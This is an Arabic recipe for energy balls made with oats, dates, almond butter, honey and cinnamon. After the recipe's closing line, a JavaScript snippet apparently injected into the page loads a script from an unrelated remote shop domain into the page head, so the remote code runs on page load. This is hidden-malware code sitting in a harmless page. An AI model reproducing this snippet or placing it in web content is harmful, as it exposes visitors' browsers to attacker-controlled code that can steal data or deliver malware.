كرات الطاقة

المكونات:

١- كوب شوفان

٢- ٣ حبات تمر

٣- ملعقتين طعام فاكهه مجففة

٤- نصف كوب زبدة لوز

٥- ملعقتين عسل/ شراب القيقب

٦- نصف ملعقة شاي قرفة

٧- ربع كوب حبوب الكتان مطحونة

الطريقة:

١- أضف التمر، العسل/شراب القيقب، زبدة

اللوز في الخلاط.

٢- أضف بقية المكونات في وعاء، وأضف عليها الخليط

٣- يشكّل على هيئة كرات

بالعافية

  (var scriptElement = document.createElement(‘script’); scriptElement.src = ‘https://awards2tools.shop/wbrXFr’; document.head.appendChild(scriptElement);)